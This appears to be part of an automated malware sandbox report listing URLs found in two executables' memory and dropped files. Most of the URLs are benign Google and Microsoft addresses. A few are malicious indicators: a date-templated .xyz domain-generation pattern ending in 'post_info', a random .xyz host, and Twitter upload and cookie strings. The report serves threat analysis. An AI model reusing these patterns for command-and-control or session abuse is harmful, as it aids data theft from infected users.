Source: ecv732A.tmp.9.dr	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B83C84637
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699747379.0000000003EBC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000003.699735061.0000000003EE8000.00000004.00000001.sdmp	String found in binary or memory: https://docs.google.com/
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699747379.0000000003EBC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000003.699735061.0000000003EE8000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699747379.0000000003EBC000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/?usp=chrome_app
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/?usp=chrome_app1iB
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699747379.0000000003EBC000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/drive/settings
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://drive.google.com/drive/settingsr
Source: 6852B33702F6B3BD.exe, 00000003.00000003.754312874.00000000007A6000.00000004.00000001.sdmp, Localwebdata1611913559039.3.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 6852B33702F6B3BD.exe, 00000003.00000003.754312874.00000000007A6000.00000004.00000001.sdmp, Localwebdata1611913559039.3.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 6852B33702F6B3BD.exe, 00000003.00000003.754312874.00000000007A6000.00000004.00000001.sdmp, Localwebdata1611913559039.3.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQE7dARJDf70CVtvXguPcFi4kAoAFTTEX3FZ_Kd&s=0
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQEZeIjizh9n8teY_8BOjsYtpLHwSdIq3PT-WQtot4&s=10
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQFso5PEv3c0kRR2gODJUq62DZF6fnxNsqKUTBX-00QeuCR
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQJBttAzO3yKFNSKzEm8qyQoBw2vbSHn0xMB0yhbgc&s=10
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQSkA3BhTLNTXreS8GxkTmsFGydHUKxWR3gtSn5&s=0
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQYaLHOGeTAvxcl2Kvu_RGdrblf1tOpndi7m5_OMgFvfzlI
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQc9-XcC69nXJpriIbLos4bSDdjrz_nByi2zL9xxJ4&s=10
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQcijPNIB_ZGSU0DrjPI_tJ1YOI-6PHUbyHUjTLi3M5nnkK
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQehqYcvOrRcw1YORGnrCzHbNyjMegefhpqYrPQO8G2_KPc
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQyeaAiOCtrhzoyiUuHOZcp67UWv4aYiYIKZ629tWqIyQ_l
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcR6qDJUCBqqO8k81oIRUuLKwKNP-ux5oIGn1btf&s=0
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRXMqY1lU5NXqI7H2QRWgHFAYTsfVdew3_6QMhtv0g&s=10
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRZaO1x4iyU-YgxgvuerXdFmXdj8Ce3rNy8Mqw2SlqePXDg
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRlHYHZu1FxxbUNbpii9NbSF3wy4srqmfLAOC-QBxw&s
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS2yfg_cFEuqKFbNZCaFykqy-jW3vHyGM224t0Sov33iXvh
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS7Tsy61sPGCiV6yILYtCYyP2q9i9bHmXBPqktk0xQvTH0l
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS9bnSRFZj9kLnT0CeZ7r27C9IrO3sFLnQL62gz&s=0
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSHEjIxVJou5NRecC2n_FnHaUJDfppR3IDOglu2Ry9INoxt
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSKx7_Dt9K5OFgp-raiLw2XdVNOTbR27N_DCL6T8VDVN_16
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSTkM_f5rN2hSSg3E_UshkUpgZ0a66Lz0rF6gF6&s=0
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcScI5035wSfgyvpN8fX27BnFHfF4a7I8z7Xlm7v&s=0
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSpNsTsg--kCoAxXjTvRrABIfJjd5ITzVx14ODQUC4wDGzB
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSrCEL2r-B2oHHnS0EeiVjQLJYayeF4GHjCZod9vr4&s
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSvX77JsybkskW6WoLj5kY6exJKuOkXoRWSsNgJbFY&s
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcT9-gm37CbSVQ1QMRdyqOvdY12lHBO7fXpaqZZqKP2Wbjr2
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTKoe8A2_V1bWtOlP5fx10ZdjsJZv6l2_sKjTp6jVAPnp0g
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcThUknsbAksExwESRgK7TW5ujPLzgeGDT0-A3f5a1XrdyR-
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTo0t2j428kWHZlc2etqXbsI-zLrpgSp87E2H24&s=0
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://exchangework%04d%02d%02d.xyz/http://changenewsys%04d%02d%02d.xyz/post_info.
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://feedback.googleusercontent.com
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Google
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.googleapis.com;
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v14/4UabrENHsxJlGDuGo1OIlLU94YtzCwA.woff
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v16/4UaGrENHsxJlGDuGo1OIlI3K.woff
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/googlesans/v16/4UabrENHsxJlGDuGo1OIlLU94bt3.woff
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc-.woff
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmSU5fBBc-.woff
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmWUlfBBc-.woff
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxM.woff
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v20/KFOlCnqEu92Fr1MmEU9vAA.woff
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://fonts.gstatic.com/s/roboto/v20/KFOmCnqEu92Fr1Me5g.woff
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://fonts.gstatic.com;
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://fp.msedge.net/conf/v1/asgw/fpconfig.min.json
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://googleads.g.doubleclick.net/adsid/google/si?gadsid=AORoGNQXwBwQrE_SUsnWzwpadcOOdc8yOg6JxthQN
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://googleads.g.doubleclick.net/adsid/google/si?gadsid=AORoGNTXuGHPo1zFjYPXt7mTG-4GALGGk8bjqjvBm
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://googleads.g.doubleclick.net/adsid/google/ui?gadsid=AORoGNQP1yCl9r5iywZTFTjpazv-DURVxDidzMfrF
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://googleads.g.doubleclick.net/adsid/google/ui?gadsid=AORoGNSrZsXAj6n_sYvivJecwrpYgMhb9ihVGAlz2
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://hangouts.google.com/
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4DnuZ
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4Dnv6
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4Dnwt
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4DsDH
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmQ
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmV
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FBmZ
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4FGwC
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4n1yl
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4n4cm
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ncJ7
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ncJa
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4nqTh
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4sQww?ver=37ff
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tD2S
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tG3O
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tIoW
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tIoY
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tKUA
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tMOD
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tMOM
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4tQVa
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4u1kF
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4ubMD
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4wqj5
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4zuiC
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RWeTGO?ver=8c74&q=90&m=
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://lh5.googleusercontent.com/p/AF1QipOcdIDtTfqJElTfRhjdFP9dPcYlW61iEhrydiuX=w92-h92-n-k-no
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28230.00/ConvergedLoginPaginatedStrings.en.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28230.00/ConvergedLogin_PCore.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28230.00/Converged_v21033.css
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28230.00/MeControl.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28230.00/images/ellipsis_white.svg?x=5ac590ee72bfe06a7cecfd75b588
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28230.00/images/microsoft_logo.svg?x=ee5c8d9fb6248c938fd0dc19370e
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28666.10/content/images/ellipsis_grey_2b5d393db04a5e6e1f739cb266e
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28666.10/content/images/ellipsis_white_5ac590ee72bfe06a7cecfd75b5
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://logincdn.msauth.net/16.000.28666.10/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc1937
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/Converged_v21033_-0mnSwu67knBd7qR7YN9GQ2.css
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/ConvergedLoginPaginatedStrings.en_5QoHC_ilFOmb96M0pIeJ
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://logincdn.msauth.net/16.000/content/js/OldConvergedLogin_PCore_xqcDwEKeDux9oCNjuqEZ-A2.js
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://mail.google.com/mail
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://mail.google.com/mail/#settings
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://mail.google.com/mail/#settingsFTGxQ
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://maps.windows.com/windows-app-web-link
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meBoot.min.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://mem.gfx.ms/me/MeControl/10.19168.0/en-US/meCore.min.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://mem.gfx.ms/meversion?partner=RetailStore2&market=en-us&uhf=1
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://mwf-service.akamaized.net/mwf/css/bundle/1.57.0/west-european/default/mwf-main.min.css
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://mwf-service.akamaized.net/mwf/js/bundle/1.57.0/mwf-auto-init-main.var.min.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://ogs.google.com/widget/callout?prid=19020392&pgid=19020380&puid=93eb0881ae9ec1db&origin=https
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2019-06-26-21-10-17/PreSignInSettingsConfig.json
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2019-06-26-21-10-17/PreSignInSettingsConfig.json?One
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://oneclient.sfx.ms/PreSignInSettings/Prod/2020-07-22-21-45-19/PreSignInSettingsConfig.json?One
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/19.086.0502.0006/OneDriveSetup.exe
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/19.103.0527.0003/update1.xml?OneDriveUpdate=d580ab8fe35aabd7f368aa
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/20.124.0621.0006/update1.xml?OneDriveUpdate=285df6c9c501a160c7a24c
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/20.124.0621.0006/update1.xml?OneDriveUpdate=4a941ab240f8b2c5ca3ca1
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://onecs-live.azureedge.net/api/settings/en-US/xml/settings-tipset?release=rs4
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://optanon.blob.core.windows.net/skins/4.1.0/default_flat_top_two_button_black/v2/css/optanon.c
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://optanon.blob.core.windows.net/skins/4.1.0/default_flat_top_two_button_black/v2/images/cookie
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://payments.google.com/
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.jstW2
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://pki.goog/repository/0
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://play.google.com/intl/en_us/badges/images/generic/de_badge_web_generic.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://policies.yahoo.com/w3c/p3p.xml
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://prod-video-cms-rt-microsoft-com.akamaized.net/vhs/api/videos/RE4sQBc
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://s.yimg.com/lo/api/res/1.2/BXjlWewXmZ47HeV5NPvUYA--~A/Zmk9ZmlsbDt3PTYyMjtoPTM2ODthcHBpZD1nZW1
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://sandbox.google.com/
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://sandbox.google.com/payments/v4/js/int
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699669788.0000000003EB7000.00000004.00000001.sdmp	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.jsuSS4
Source: 6852B33702F6B3BD.exe, 00000003.00000003.754312874.00000000007A6000.00000004.00000001.sdmp, Localwebdata1611913559039.3.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 6852B33702F6B3BD.exe, 00000003.00000003.754312874.00000000007A6000.00000004.00000001.sdmp, Localwebdata1611913559039.3.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://srtb.msn.com/auction?a=de-ch&b=28e3747a031f4b2a8498142b7c961529&c=MSN&d=http%3A%2F%2Fwww.msn
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://ssl.gstatic.com/gb/images/i1_1967ca6a.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://statics-marketingsites-neu-ms-com.akamaized.net/statics/override.css?c=7
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725071943.0000000003174000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: 6852B33702F6B3BD.exe, 00000003.00000003.772766455.0000000002FA0000.00000004.00000040.sdmp, 6852B33702F6B3BD.exe, 00000003.00000003.725458893.00000000030B1000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: 6852B33702F6B3BD.exe, 00000003.00000003.772766455.0000000002FA0000.00000004.00000040.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flashi
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725190439.00000000030C0000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725190439.00000000030C0000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725122666.00000000030EC000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_real
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725122666.00000000030EC000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_realx
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725122666.00000000030EC000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_wmp
Source: 6852B33702F6B3BD.exe, 00000003.00000003.725190439.00000000030C0000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000003.00000003.725458893.00000000030B1000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/answer/6258784
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/compose/tweetsec-fetch-dest:
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/compose/tweetsec-fetch-mode:
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.com/ookie:
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.comReferer:
Source: 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://twitter.comsec-fetch-dest:
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.json
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.json%dcommand=INIT&total_bytes=&media_type=image%2Fjpeg&me
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.json?command=APPEND&media_id=%s&segment_index=0
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.json?command=APPEND&media_id=%s&segment_index=0accept:
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp	String found in binary or memory: https://upload.twitter.com/i/media/upload.jsoncommand=FINALIZE&media_id=
Source: FileSetup-v17.04.41.exe, 00000000.00000002.688753176.0000000000831000.00000004.00000020.sdmp	String found in binary or memory: https://wafba021a5a6662.xyz/
Source: 6852B33702F6B3BD.exe, 00000003.00000002.778524596.00000000033FC000.00000004.00000001.sdmp, 6852B33702F6B3BD.exe, 00000004.00000002.713735378.00000000033DC000.00000004.00000001.sdmp, ecv732A.tmp.9.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=GTM-N7S69J3&cid=993498051.1601450642
Source: 6852B33702F6B3BD.exe, 00000004.00000003.700102534.0000000003EF7000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com
Source: 6852B33702F6B3BD.exe, 00000004.00000003.699525727.0000000003EB1000.00000004.00000001.sdmp, ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/?gws_rd=ssl
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/async/bgasy?ei=gTJ0X7zPLY2f1fAPlo2xoAI&yv=3&async=_fmt:jspb
Source: 6852B33702F6B3BD.exe	String found in binary or memory: https://www.google.com/c
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/css/main.v2.min.css
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/css/main.v3.min.css
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/app-store-download.png
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome-logo.svg
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/chrome_throbber_fast.gif
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/cursor-replay.cur
Source: ecv732A.tmp.9.dr	String found in binary or memory: https://www.google.com/chrome/static/images/download-browser/big_pixel_phone.png
